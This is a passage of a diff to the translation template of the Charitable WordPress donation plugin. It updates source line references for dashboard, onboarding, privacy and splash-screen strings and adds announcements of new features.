includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1617\n msgid \"Donor Comments Addon Not Installed\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1572\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1618\n msgid \"Download and activate the Donor Comments addon to view donor comments.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1574\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1620\n msgid \"Download Addon\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1590\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1636\n msgid \"Donor Comments Addon Not Activated\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1591\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1637\n msgid \"The Donor Comments addon is installed but not activated. Click the button below to activate it.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1593\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1639\n msgid \"Activate Addon\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1646\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1692\n msgid \"Anonymous\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1694\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1735\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1740\n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1781\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:813\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1136\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1420\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1827\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:814\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1137\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1421\n msgid \"Security check failed\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1699\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1745\n msgid \"You do not have permission to activate plugins.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1706\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1752\n msgid \"Plugin not specified.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1711\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1757\n msgid \"Plugin file not found.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1721\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1767\n msgid \"Addon activated successfully!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1740\n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1786\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1832\n msgid \"You do not have permission to moderate comments.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1747\n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1793\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1839\n msgid \"Comment ID not specified.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1753\n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1799\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1845\n msgid \"Comment not found.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1758\n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1804\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1850\n msgid \"Invalid comment type.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1768\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1814\n msgid \"Comment approved successfully!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1811\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1857\n msgid \"Failed to delete comment.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1814\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1860\n msgid \"Comment deleted successfully!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1959\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2005\n msgid \"Enhance Your Campaign\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1969\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2015\n msgid \"View All Addons\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2150\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2196\n msgid \"Addon installed successfully.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2212\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2258\n msgid \"Addon activated successfully.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2282\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2961\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:306\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2328\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3007\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:414\n msgid \"DonorTrust\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2407\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2453\n msgid \"Let donors give automatically on a daily, weekly, monthly, or yearly schedule.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2408\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2454\n msgid \"Build Trust and Boost Donations with Real-Time Social Proof.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2409\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2455\n msgid \"Allow UK donors to add Gift Aid and boost eligible donations by 25%.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2410\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2456\n msgid \"Give supporters the option to hide their name from public donations.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2411\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2457\n msgid \"Let donors optionally cover processing fees.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2414\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2460\n msgid \"Get detailed insights into your donation traffic and campaign performance.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2415\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2461\n msgid \"Create custom donation forms and surveys to engage with supporters.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2416\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2462\n msgid \"Optimize your campaigns for search engines to reach more potential donors.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2417\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2463\n msgid \"Safely backup and migrate your donation data and campaign content.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2418\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2464\n msgid \"Send targeted push notifications to re-engage donors and drive contributions.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2419\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2465\n msgid \"Automate your donation workflows and connect with other fundraising tools.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2420\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2466\n msgid \"Create beautiful photo galleries to showcase your charitable impact.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2428\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2474\n msgid \"Enhance your campaign with powerful fundraising features.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2707\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2733\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2753\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2779\n msgid \"Upgrade\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2896\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2942\n #: templates\u002Fcampaign-loop\u002Fmore-link.php:28\n msgid \"Read More\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2896\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2942\n msgid \"Read Blog\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2958\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3004\n msgid \"Enhancement Payments\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2959\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3005\n msgid \"Reply-To Donors\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2960\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3006\n msgid \"Square Gateway\"\n msgstr \"\"\n \n #. translators: %s: number of years\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3142\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3188\n msgctxt \"relative time\"\n msgid \"1 year ago\"\n msgstr \"\"\n \n #. translators: %s: number of years\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3142\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3188\n #, php-format\n msgctxt \"relative time\"\n msgid \"%s year ago\"\n@@ -10563,13 +10585,13 @@\n msgstr[1] \"\"\n \n #. translators: %s: number of months\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3145\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3191\n msgctxt \"relative time\"\n msgid \"1 month ago\"\n msgstr \"\"\n \n #. translators: %s: number of months\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3145\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3191\n #, php-format\n msgctxt \"relative time\"\n msgid \"%s month ago\"\n@@ -10578,13 +10600,13 @@\n msgstr[1] \"\"\n \n #. translators: %s: number of weeks\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3148\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3194\n msgctxt \"relative time\"\n msgid \"1 week ago\"\n msgstr \"\"\n \n #. translators: %s: number of weeks\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3148\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3194\n #, php-format\n msgctxt \"relative time\"\n msgid \"%s week ago\"\n@@ -10593,13 +10615,13 @@\n msgstr[1] \"\"\n \n #. translators: %s: number of days\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3151\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3197\n msgctxt \"relative time\"\n msgid \"1 day ago\"\n msgstr \"\"\n \n #. translators: %s: number of days\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3151\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3197\n #, php-format\n msgctxt \"relative time\"\n msgid \"%s day ago\"\n@@ -10608,13 +10630,13 @@\n msgstr[1] \"\"\n \n #. translators: %s: number of hours\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3154\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3200\n msgctxt \"relative time\"\n msgid \"1 hour ago\"\n msgstr \"\"\n \n #. translators: %s: number of hours\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3154\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3200\n #, php-format\n msgctxt \"relative time\"\n msgid \"%s hour ago\"\n@@ -10623,13 +10645,13 @@\n msgstr[1] \"\"\n \n #. translators: %s: number of minutes\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3157\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3203\n msgctxt \"relative time\"\n msgid \"1 minute ago\"\n msgstr \"\"\n \n #. translators: %s: number of minutes\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3157\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3203\n #, php-format\n msgctxt \"relative time\"\n msgid \"%s minute ago\"\n@@ -10637,38 +10659,38 @@\n msgstr[0] \"\"\n msgstr[1] \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3159\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3205\n msgctxt \"relative time\"\n msgid \"Just now\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3347\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3393\n msgid \"Unable to load blog posts (Simulated API Failure)\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3347\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3393\n msgid \"Unable to load blog posts\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3610\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3656\n #: includes\u002Fadmin\u002Fviews\u002Fabout\u002Fabout.php:31\n #: includes\u002Fadmin\u002Fviews\u002Fchecklist\u002Fchecklist.php:75\n msgid \"Getting Started\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3617\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3663\n msgid \"Support Ticket\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3683\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3729\n msgid \"Activation failed. Please try again.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3684\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3730\n msgid \"An error occurred. Please try again.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3685\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3731\n msgid \"Approved\"\n msgstr \"\"\n \n@@ -11137,7 +11159,8 @@\n #: includes\u002Fadmin\u002Fimport-items\u002Fclass-charitable-givewp-importer.php:617\n #: includes\u002Fgateways\u002Fclass-charitable-gateways.php:1651\n #: includes\u002Fgateways\u002Fclass-charitable-gateways.php:1697\n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:685\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:759\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:949\n msgid \"You do not have permission to perform this action.\"\n msgstr \"\"\n \n@@ -11342,92 +11365,92 @@\n msgid \"Finish the Checklist.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:467\n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:468\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:505\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:506\n msgid \"Setup Charitable\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1874\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1912\n msgid \"Starting...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1875\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1913\n msgid \"Setting Up General Settings...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1876\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1914\n msgid \"Updating Plugins...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1877\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1915\n msgid \"Installing Plugins...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1878\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1916\n msgid \"Activating Plugins...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1879\n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1880\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1917\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1918\n msgid \"Setting Up Features...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1881\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1919\n msgid \"Setting Up Your First Campaign...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1882\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1920\n msgid \"Setting Up Payment Methods...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1883\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1921\n msgid \"Almost done!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1888\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1926\n msgid \"Updating country, currency, and related settings for you.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1889\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1927\n msgid \"Checking plugins...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1892\n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1893\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1930\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1931\n msgid \"Checking license and site information...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1894\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1932\n msgid \"Creating draft...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1895\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1933\n msgid \"Checking payment methods...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1896\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1934\n msgid \"Finishing things...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1897\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1935\n msgid \"Stripe offers a seamless and secure payment experience for both you and your donors.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1898\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1936\n msgid \"Your Charitable install has been setup and is ready for you.\"\n msgstr \"\"\n \n #. translators: %1$s: List of requested features\n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1912\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1950\n #, php-format\n msgid \"In order to install and activate some of the features you requested %1$s you need to activate your PRO license after setup is complete.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1913\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1951\n msgid \"Activating license and installing addons...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1918\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1956\n msgid \"Skip setting up Stripe\"\n msgstr \"\"\n \n@@ -12686,57 +12709,57 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:108\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:427\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:428\n msgid \"One year\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:109\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:428\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:429\n msgid \"Two years\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:110\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:429\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:430\n msgid \"Three years\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:111\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:430\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:431\n msgid \"Four years\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:112\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:431\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:432\n msgid \"Five years\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:113\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:432\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:433\n msgid \"Six years\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:114\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:433\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:434\n msgid \"Seven years\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:115\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:434\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:435\n msgid \"Eight years\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:116\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:435\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:436\n msgid \"Nine years\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:117\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:436\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:437\n msgid \"Ten years\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:118\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:437\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:438\n msgid \"Forever\"\n msgstr \"\"\n \n@@ -13242,71 +13265,123 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:242\n-msgid \"Security Enhancements\"\n+msgid \"Mini Donation Widget\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:243\n-msgid \"Charitable Lite now supports Google reCAPTCHA, hCaptcha, and Cloudflare Turnstile for improved security.\"\n+msgid \"Embed a compact donation form anywhere on your site, no page redirect required. Add it to sidebars, landing pages, or any widget area using a simple block or shortcode.\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:264\n-msgid \"New Dashboard!\"\n+msgid \"Migration & Import Tools\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:265\n-msgid \"Charitable now has a new dashboard design with top campaigns, latest donations, top donors, and comments. New \\\"30 Day\\\" period added.\"\n+msgid \"Move from GiveWP or GiveButter to Charitable in minutes. Expanded import tools include CSV donations import and a new GiveWP Migration Tool (Beta) under a redesigned, tabbed interface.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:285\n-msgid \"Advanced Elementor Widgets\"\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:283\n+msgid \"Security Enhancements\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:286\n-msgid \"When you create pages with the Elementor page builder, you'll now find four ready-made Charitable widgets (campaigns, donation button, donation form, campaigns).\"\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:284\n+msgid \"Charitable Lite now supports Google reCAPTCHA, hCaptcha, and Cloudflare Turnstile for improved security.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:307\n-msgid \"Showcase real-time, verified donations to your website visitors and encourage more people to donate to your 